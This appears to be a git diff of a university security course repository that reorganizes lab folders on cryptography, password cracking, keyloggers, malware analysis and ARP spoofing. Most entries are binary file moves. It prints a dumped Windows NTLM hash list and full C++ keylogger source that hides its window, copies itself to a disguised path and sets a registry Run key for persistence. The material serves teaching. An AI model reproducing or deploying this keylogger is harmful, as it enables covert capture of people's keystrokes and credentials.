diff --git a/FSCS630_Cryptography/labs/00_Number_System/NumberSystems.ppt b/FSCS630_Cryptography/labs/00_Number_System/NumberSystems.ppt new file mode 100644 index 0000000..2268e3e Binary files /dev/null and b/FSCS630_Cryptography/labs/00_Number_System/NumberSystems.ppt differ diff --git a/FSCS630_Cryptography/labs/04_DES/DES.pptx b/FSCS630_Cryptography/labs/04_DES/DES.pptx index 861ef3e..1c9a94e 100644 Binary files a/FSCS630_Cryptography/labs/04_DES/DES.pptx and b/FSCS630_Cryptography/labs/04_DES/DES.pptx differ diff --git a/FSCS630_Cryptography/labs/05_AES/aes - How to solve MixColumns - Cryptography Stack Exchange.pdf b/FSCS630_Cryptography/labs/05_AES/aes - How to solve MixColumns - Cryptography Stack Exchange.pdf new file mode 100644 index 0000000..48c341f Binary files /dev/null and b/FSCS630_Cryptography/labs/05_AES/aes - How to solve MixColumns - Cryptography Stack Exchange.pdf differ diff --git a/FSCS630_Cryptography/labs/05_AES/mix_columns.pdf b/FSCS630_Cryptography/labs/05_AES/mix_columns.pdf new file mode 100644 index 0000000..f437474 Binary files /dev/null and b/FSCS630_Cryptography/labs/05_AES/mix_columns.pdf differ diff --git a/FSCS630_Cryptography/labs/06_Public_key_Intro/Public_Key_Introduction.pptx b/FSCS630_Cryptography/labs/06_Public_key_Intro/Public_Key_Introduction.pptx index acd76b1..da77330 100644 Binary files a/FSCS630_Cryptography/labs/06_Public_key_Intro/Public_Key_Introduction.pptx and b/FSCS630_Cryptography/labs/06_Public_key_Intro/Public_Key_Introduction.pptx differ diff --git a/FSCS630_Cryptography/labs/07_Public_key_RSA/RSA.pptx b/FSCS630_Cryptography/labs/07_Public_key_RSA/RSA.pptx index 6af164e..b60e6e5 100644 Binary files a/FSCS630_Cryptography/labs/07_Public_key_RSA/RSA.pptx and b/FSCS630_Cryptography/labs/07_Public_key_RSA/RSA.pptx differ diff --git a/FSCS630_Cryptography/labs/13_Public_key_Elliptic_Curvers/Elliptic.pptx b/FSCS630_Cryptography/labs/13_Public_key_Elliptic_Curvers/Elliptic.pptx new file mode 100644 index 0000000..b1f27f8 Binary files /dev/null and b/FSCS630_Cryptography/labs/13_Public_key_Elliptic_Curvers/Elliptic.pptx differ diff --git a/FSCS728_Information_Systems/01_BasicComptuerSkills_Windows/Windows_Command_Prompts.pptx b/FSCS728_Information_Systems/01_BasicComptuerSkills_Windows/Windows_Command_Prompts.pptx new file mode 100644 index 0000000..e10b8b7 Binary files /dev/null and b/FSCS728_Information_Systems/01_BasicComptuerSkills_Windows/Windows_Command_Prompts.pptx differ diff --git a/FSCS728_Information_Systems/02_1_VM_Windows_Installation/Windows_10__Installation_Manual.pptx b/FSCS728_Information_Systems/02_1_VM_Windows_Installation/Windows_10__Installation_Manual.pptx new file mode 100644 index 0000000..d418ca3 Binary files /dev/null and b/FSCS728_Information_Systems/02_1_VM_Windows_Installation/Windows_10__Installation_Manual.pptx differ diff --git a/FSCS728_Information_Systems/02_2_VM_Kali_Installation/Kali_Installation_Manual_2019.pptx b/FSCS728_Information_Systems/02_2_VM_Kali_Installation/Kali_Installation_Manual_2019.pptx new file mode 100644 index 0000000..06e6b57 Binary files /dev/null and b/FSCS728_Information_Systems/02_2_VM_Kali_Installation/Kali_Installation_Manual_2019.pptx differ diff --git a/FSCS728_Information_Systems/02_2_VM_Kali_Installation/Kali_installation_Manual_2020.pptx b/FSCS728_Information_Systems/02_2_VM_Kali_Installation/Kali_installation_Manual_2020.pptx new file mode 100644 index 0000000..2399262 Binary files /dev/null and b/FSCS728_Information_Systems/02_2_VM_Kali_Installation/Kali_installation_Manual_2020.pptx differ diff --git a/FSCS728_Information_Systems/02_2_VM_Kali_Installation/~$Kali_installation_Manual_2020.pptx b/FSCS728_Information_Systems/02_2_VM_Kali_Installation/~$Kali_installation_Manual_2020.pptx new file mode 100644 index 0000000..1366957 Binary files /dev/null and b/FSCS728_Information_Systems/02_2_VM_Kali_Installation/~$Kali_installation_Manual_2020.pptx differ diff --git a/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/1_Linux_Commands.pptx b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/1_Linux_Commands.pptx new file mode 100644 index 0000000..f53d9fa Binary files /dev/null and b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/1_Linux_Commands.pptx differ diff --git a/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/2_Advanced_Linux_Commands.pptx b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/2_Advanced_Linux_Commands.pptx new file mode 100644 index 0000000..575f383 Binary files /dev/null and b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/2_Advanced_Linux_Commands.pptx differ diff --git a/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/netcat_cheat_sheet_v1.pdf b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/netcat_cheat_sheet_v1.pdf new file mode 100644 index 0000000..2dfc4d0 Binary files /dev/null and b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/netcat_cheat_sheet_v1.pdf differ diff --git a/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/~$1_Linux_Commands.pptx b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/~$1_Linux_Commands.pptx new file mode 100644 index 0000000..1366957 Binary files /dev/null and b/FSCS728_Information_Systems/02_3_BasicComptuerSkills - Linux/~$1_Linux_Commands.pptx differ diff --git a/FSCS727_Forensics/Labs/VM_Create_Shared_Folder/Host_VM_file_share.pptx b/FSCS728_Information_Systems/02_4_optional_VM_Create_Shared_Folder/Host_VM_file_share.pptx similarity index 100% rename from FSCS727_Forensics/Labs/VM_Create_Shared_Folder/Host_VM_file_share.pptx rename to FSCS728_Information_Systems/02_4_optional_VM_Create_Shared_Folder/Host_VM_file_share.pptx diff --git a/FSCS727_Forensics/Labs/Crack_Password_Word/Crack_Word_Password.pptx b/FSCS728_Information_Systems/03_1_Crack_Password_Word/Crack_Word_Password.pptx similarity index 65% rename from FSCS727_Forensics/Labs/Crack_Password_Word/Crack_Word_Password.pptx rename to FSCS728_Information_Systems/03_1_Crack_Password_Word/Crack_Word_Password.pptx index ae78ab3..422d5e1 100644 Binary files a/FSCS727_Forensics/Labs/Crack_Password_Word/Crack_Word_Password.pptx and b/FSCS728_Information_Systems/03_1_Crack_Password_Word/Crack_Word_Password.pptx differ diff --git a/FSCS727_Forensics/Labs/Crack_Password_Word/crack_word_lab.TXT b/FSCS728_Information_Systems/03_1_Crack_Password_Word/crack_word_lab.TXT similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_Word/crack_word_lab.TXT rename to FSCS728_Information_Systems/03_1_Crack_Password_Word/crack_word_lab.TXT diff --git a/FSCS727_Forensics/Labs/Crack_Password_Word/encrypted_file_123abc_2013_v.docx b/FSCS728_Information_Systems/03_1_Crack_Password_Word/encrypted_file_123abc_2013_v.docx similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_Word/encrypted_file_123abc_2013_v.docx rename to FSCS728_Information_Systems/03_1_Crack_Password_Word/encrypted_file_123abc_2013_v.docx diff --git a/FSCS727_Forensics/Labs/Crack_Password_Word/hash.txt b/FSCS728_Information_Systems/03_1_Crack_Password_Word/hash.txt similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_Word/hash.txt rename to FSCS728_Information_Systems/03_1_Crack_Password_Word/hash.txt diff --git a/FSCS727_Forensics/Labs/Crack_Password_Word/office2john.py b/FSCS728_Information_Systems/03_1_Crack_Password_Word/office2john.py similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_Word/office2john.py rename to FSCS728_Information_Systems/03_1_Crack_Password_Word/office2john.py diff --git a/FSCS727_Forensics/Labs/Crack_Password_PDF/NSF_Bio_xu_2019_abc.pdf b/FSCS728_Information_Systems/03_2_Crack_Password_PDF/NSF_Bio_xu_2019_abc.pdf similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_PDF/NSF_Bio_xu_2019_abc.pdf rename to FSCS728_Information_Systems/03_2_Crack_Password_PDF/NSF_Bio_xu_2019_abc.pdf diff --git a/FSCS727_Forensics/Labs/Crack_Password_PDF/hashcat_window_lab_instructions.TXT b/FSCS728_Information_Systems/03_2_Crack_Password_PDF/hashcat_window_lab_instructions.TXT similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_PDF/hashcat_window_lab_instructions.TXT rename to FSCS728_Information_Systems/03_2_Crack_Password_PDF/hashcat_window_lab_instructions.TXT diff --git a/FSCS727_Forensics/Labs/Crack_Password_PDF/how_to_crack_pwd_123.pdf b/FSCS728_Information_Systems/03_2_Crack_Password_PDF/how_to_crack_pwd_123.pdf similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_PDF/how_to_crack_pwd_123.pdf rename to FSCS728_Information_Systems/03_2_Crack_Password_PDF/how_to_crack_pwd_123.pdf diff --git a/FSCS727_Forensics/Labs/Crack_Password_PDF/how_to_crack_pwd_abc123.pdf b/FSCS728_Information_Systems/03_2_Crack_Password_PDF/how_to_crack_pwd_abc123.pdf similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_PDF/how_to_crack_pwd_abc123.pdf rename to FSCS728_Information_Systems/03_2_Crack_Password_PDF/how_to_crack_pwd_abc123.pdf diff --git a/FSCS727_Forensics/Labs/Crack_Password_PDF/osforensics_password.TXT b/FSCS728_Information_Systems/03_2_Crack_Password_PDF/osforensics_password.TXT similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_PDF/osforensics_password.TXT rename to FSCS728_Information_Systems/03_2_Crack_Password_PDF/osforensics_password.TXT diff --git a/FSCS727_Forensics/Labs/Crack_Password_PDF/pdf2john.py b/FSCS728_Information_Systems/03_2_Crack_Password_PDF/pdf2john.py similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_PDF/pdf2john.py rename to FSCS728_Information_Systems/03_2_Crack_Password_PDF/pdf2john.py diff --git a/FSCS727_Forensics/Labs/Crack_Password_PDF/pdfcrack_linux_lab_instructions.TXT b/FSCS728_Information_Systems/03_2_Crack_Password_PDF/pdfcrack_linux_lab_instructions.TXT similarity index 100% rename from FSCS727_Forensics/Labs/Crack_Password_PDF/pdfcrack_linux_lab_instructions.TXT rename to FSCS728_Information_Systems/03_2_Crack_Password_PDF/pdfcrack_linux_lab_instructions.TXT diff --git a/EthicalHacking/Labs/CrackPassword/Windows8_password.pptx b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/Windows8_password.pptx similarity index 70% rename from EthicalHacking/Labs/CrackPassword/Windows8_password.pptx rename to FSCS728_Information_Systems/03_3_Crack_Password_Windows/Windows8_password.pptx index 01d6035..a3e5129 100644 Binary files a/EthicalHacking/Labs/CrackPassword/Windows8_password.pptx and b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/Windows8_password.pptx differ diff --git a/EthicalHacking/Labs/CrackPassword/ca_setup-4-9-56.7z b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/ca_setup-4-9-56.7z similarity index 100% rename from EthicalHacking/Labs/CrackPassword/ca_setup-4-9-56.7z rename to FSCS728_Information_Systems/03_3_Crack_Password_Windows/ca_setup-4-9-56.7z diff --git a/FSCS728_Information_Systems/03_3_Crack_Password_Windows/pwd.txt b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/pwd.txt new file mode 100644 index 0000000..68ae496 --- /dev/null +++ b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/pwd.txt @@ -0,0 +1,6 @@ +Administrator:500:NO PASSWORD*********************:FC525C9683E8FE067095BA2DDC971889::: +Guest:501:NO PASSWORD*********************:NO PASSWORD*********************::: +IEUser:1000:NO PASSWORD*********************:FC525C9683E8FE067095BA2DDC971889::: +sshd:1001:NO PASSWORD*********************:NO PASSWORD*********************::: +sshd_server:1002:NO PASSWORD*********************:8D0A16CFC061C3359DB455D00EC27035::: +frank:1003:NO PASSWORD*********************:36AA83BDCAB3C9FDAF321CA42A31C3FC::: diff --git a/FSCS728_Information_Systems/03_3_Crack_Password_Windows/pwdump7.zip b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/pwdump7.zip new file mode 100644 index 0000000..7b29fe5 Binary files /dev/null and b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/pwdump7.zip differ diff --git a/FSCS728_Information_Systems/03_3_Crack_Password_Windows/~$Windows8_password.pptx b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/~$Windows8_password.pptx new file mode 100644 index 0000000..1366957 Binary files /dev/null and b/FSCS728_Information_Systems/03_3_Crack_Password_Windows/~$Windows8_password.pptx differ diff --git a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_arpspoof/ARP_arpSpoof_tool_lab.pptx b/FSCS728_Information_Systems/04_1_Social_Enginnering_fake_website/WebTemplate/Defacing_google.pptx similarity index 70% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_arpspoof/ARP_arpSpoof_tool_lab.pptx rename to FSCS728_Information_Systems/04_1_Social_Enginnering_fake_website/WebTemplate/Defacing_google.pptx index 92f89f2..008703c 100644 Binary files a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_arpspoof/ARP_arpSpoof_tool_lab.pptx and b/FSCS728_Information_Systems/04_1_Social_Enginnering_fake_website/WebTemplate/Defacing_google.pptx differ diff --git a/EthicalHacking/Labs/Keylogger/Procmon.exe b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/Procmon.exe similarity index 100% rename from EthicalHacking/Labs/Keylogger/Procmon.exe rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/Procmon.exe diff --git a/EthicalHacking/Labs/Keylogger/VS/Installing Visual Studio C++ Build TOOLS.pdf b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/Installing Visual Studio C++ Build TOOLS.pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/Installing Visual Studio C++ Build TOOLS.pdf rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/Installing Visual Studio C++ Build TOOLS.pdf diff --git a/EthicalHacking/Labs/Keylogger/VS/PMA 101c_ Basic Static Techniques (20 pts + 30 pts extra).pdf b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/PMA 101c_ Basic Static Techniques (20 pts + 30 pts extra).pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/PMA 101c_ Basic Static Techniques (20 pts + 30 pts extra).pdf rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/PMA 101c_ Basic Static Techniques (20 pts + 30 pts extra).pdf diff --git a/EthicalHacking/Labs/Keylogger/VS/PMA 222_ Making a Windows Keylogger (10 pts extra).pdf b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/PMA 222_ Making a Windows Keylogger (10 pts extra).pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/PMA 222_ Making a Windows Keylogger (10 pts extra).pdf rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/PMA 222_ Making a Windows Keylogger (10 pts extra).pdf diff --git a/EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/create_keylooger.pptx similarity index 98% rename from EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/create_keylooger.pptx index 47e7755..65ab719 100644 Binary files a/EthicalHacking/Labs/Keylogger/VS/create_keylooger.pptx and b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/create_keylooger.pptx differ diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.7z b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.7z similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/keylogger_sam.7z rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.7z diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.cpp b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.cpp similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/keylogger_sam.cpp rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.cpp diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.exe b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.exe similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/keylogger_sam.exe rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.exe diff --git a/EthicalHacking/Labs/Keylogger/VS/keylogger_sam.obj b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.obj similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/keylogger_sam.obj rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/VS/keylogger_sam.obj diff --git a/EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/Keyloggers_ How they work and how to detect them (Part 1) _ Securelist.pdf diff --git a/EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/minGW/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/Keyloggers_ Implementing keyloggers in Windows. Part Two _ Securelist.pdf diff --git a/EthicalHacking/Labs/Keylogger/minGW/MinGW C++ Download and Installation Instructions.pdf b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/MinGW C++ Download and Installation Instructions.pdf similarity index 100% rename from EthicalHacking/Labs/Keylogger/minGW/MinGW C++ Download and Installation Instructions.pdf rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/MinGW C++ Download and Installation Instructions.pdf diff --git a/EthicalHacking/Labs/Keylogger/minGW/keylogger.cpp b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylogger.cpp similarity index 100% rename from EthicalHacking/Labs/Keylogger/minGW/keylogger.cpp rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylogger.cpp diff --git a/EthicalHacking/Labs/Keylogger/minGW/keylogger.obj b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylogger.obj similarity index 100% rename from EthicalHacking/Labs/Keylogger/minGW/keylogger.obj rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylogger.obj diff --git a/EthicalHacking/Labs/Keylogger/minGW/keylogger_readme.txt b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylogger_readme.txt similarity index 100% rename from EthicalHacking/Labs/Keylogger/minGW/keylogger_readme.txt rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylogger_readme.txt diff --git a/EthicalHacking/Labs/Keylogger/minGW/keylooger.pptx b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylooger.pptx similarity index 100% rename from EthicalHacking/Labs/Keylogger/minGW/keylooger.pptx rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/minGW/keylooger.pptx diff --git a/EthicalHacking/Labs/Keylogger/procmon.chm b/FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/procmon.chm similarity index 100% rename from EthicalHacking/Labs/Keylogger/procmon.chm rename to FSCS728_Information_Systems/04_2_Soical_engineering_Keylogger/procmon.chm diff --git a/EthicalHacking/Labs/ExamPEHeader/HelloWorldGoal.pdf b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PE_HelloWorld.pdf similarity index 100% rename from EthicalHacking/Labs/ExamPEHeader/HelloWorldGoal.pdf rename to FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PE_HelloWorld.pdf diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PEview.exe b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PEview.exe new file mode 100644 index 0000000..a0bcd36 Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PEview.exe differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PEview.zip b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PEview.zip new file mode 100644 index 0000000..20ba19f Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/PEview.zip differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/Strings.zip b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/Strings.zip new file mode 100644 index 0000000..e07290d Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/Strings.zip differ diff --git a/EthicalHacking/Labs/Keylogger/VS/bintext.exe b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/bintext.exe similarity index 100% rename from EthicalHacking/Labs/Keylogger/VS/bintext.exe rename to FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/bintext.exe diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/homework/rev_https_8080.zip b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/homework/rev_https_8080.zip new file mode 100644 index 0000000..178bfae Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/homework/rev_https_8080.zip differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.cpp b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.cpp new file mode 100644 index 0000000..9971508 --- /dev/null +++ b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.cpp @@ -0,0 +1,132 @@ +#define _WIN32_WINNT 0x0500 +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "User32.lib") +#pragma comment(lib, "Advapi32.lib") + +/* Based on https://github.com/EgeBalci/Keylogger */ + +using namespace std; + +char logfile[] = "log.txt"; + +char oldfile[] = "keylogger_sam.exe"; +char newfile[] = "C:\\Logs\\vmx32to64.exe"; + +void LOG(string input) { + fstream LogFile; + LogFile.open(logfile, fstream::app); + if (LogFile.is_open()) { + LogFile << input; + LogFile.close(); + } +} + + +bool SpecialKeys(int S_Key) { + switch (S_Key) { + case VK_SPACE: + cout << " "; + LOG(" "); + return true; + case VK_RETURN: + cout << "\n"; + LOG("\n"); + return true; + case VK_OEM_PERIOD: + cout << "."; + LOG("."); + return true; + case VK_SHIFT: + cout << "#SHIFT#"; + LOG("#SHIFT#"); + return true; + case VK_BACK: + cout << "\b"; + LOG("\b"); + return true; + case VK_RBUTTON: + cout << "#R_CLICK#"; + LOG("#R_CLICK#"); + return true; + case VK_CAPITAL: + cout << "#CAPS_LOCK#"; + LOG("#CAPS_LOCK"); + return true; + case VK_TAB: + cout << "#TAB"; + LOG("#TAB"); + return true; + case VK_UP: + cout << "#UP"; + LOG("#UP_ARROW_KEY"); + return true; + case VK_DOWN: + cout << "#DOWN"; + LOG("#DOWN_ARROW_KEY"); + return true; + case VK_LEFT: + cout << "#LEFT"; + LOG("#LEFT_ARROW_KEY"); + return true; + case VK_RIGHT: + cout << "#RIGHT"; + LOG("#RIGHT_ARROW_KEY"); + return true; + case VK_CONTROL: + cout << "#CONTROL"; + LOG("#CONTROL"); + return true; + case VK_MENU: + cout << "#ALT"; + LOG("#ALT"); + return true; + default: + return false; + } +} + + + +int main() +{ + ShowWindow(GetConsoleWindow(), SW_HIDE); + char KEY = 'x'; + + /* COPY PROGRAM TO MISLEADING LOCATION */ + CopyFile(oldfile, newfile, FALSE); + + /* CREATE RUN KEY IN REGISTRY */ + + TCHAR runPath[35] = TEXT("C:\\Logs\\vmx32to64.exe"); + HKEY newValue; + RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue); + RegSetValueEx(newValue,"vmx32to64",0,REG_SZ,(LPBYTE)runPath,sizeof(runPath)); + RegCloseKey(newValue); + + while (true) { + Sleep(10); + for (int KEY = 8; KEY <= 190; KEY++) + { + if (GetAsyncKeyState(KEY) == -32767) { + if (SpecialKeys(KEY) == false) { + + fstream LogFile; + LogFile.open(logfile, fstream::app); + if (LogFile.is_open()) { + LogFile << char(KEY); + LogFile.close(); + } + + } + } + } + } + + return 0; +} \ No newline at end of file diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.exe b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.exe new file mode 100644 index 0000000..d2a1cab Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.exe differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.zip b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.zip new file mode 100644 index 0000000..f37eb8f Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam.zip differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam_fake_time.exe b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam_fake_time.exe new file mode 100644 index 0000000..fbef518 Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/keylogger_sam_fake_time.exe differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/malware_analysis.pptx b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/malware_analysis.pptx new file mode 100644 index 0000000..2c23fe9 Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/malware_analysis.pptx differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/strings.exe b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/strings.exe new file mode 100644 index 0000000..cf73d7d Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/strings.exe differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/strings64.exe b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/strings64.exe new file mode 100644 index 0000000..643d770 Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/strings64.exe differ diff --git a/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/~$malware_analysis.pptx b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/~$malware_analysis.pptx new file mode 100644 index 0000000..1366957 Binary files /dev/null and b/FSCS728_Information_Systems/04_3_Reverse_Engineering_Malware_Anlysis/~$malware_analysis.pptx differ diff --git a/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/01_ARP_Poisoning_arpspoof/ARP_arpSpoof_tool_lab.pptx b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/01_ARP_Poisoning_arpspoof/ARP_arpSpoof_tool_lab.pptx new file mode 100644 index 0000000..34e57dc Binary files /dev/null and b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/01_ARP_Poisoning_arpspoof/ARP_arpSpoof_tool_lab.pptx differ diff --git a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_arpspoof/commands.TXT b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/01_ARP_Poisoning_arpspoof/commands.TXT similarity index 100% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_arpspoof/commands.TXT rename to FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/01_ARP_Poisoning_arpspoof/commands.TXT diff --git a/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/02_Capture_Password_ARP/Capture_Password_APR_MITM.pptx b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/02_Capture_Password_ARP/Capture_Password_APR_MITM.pptx new file mode 100644 index 0000000..e88ad25 Binary files /dev/null and b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/02_Capture_Password_ARP/Capture_Password_APR_MITM.pptx differ diff --git a/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/02_Capture_Password_ARP/~$Capture_Password_APR_MITM.pptx b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/02_Capture_Password_ARP/~$Capture_Password_APR_MITM.pptx new file mode 100644 index 0000000..1366957 Binary files /dev/null and b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/02_Capture_Password_ARP/~$Capture_Password_APR_MITM.pptx differ diff --git 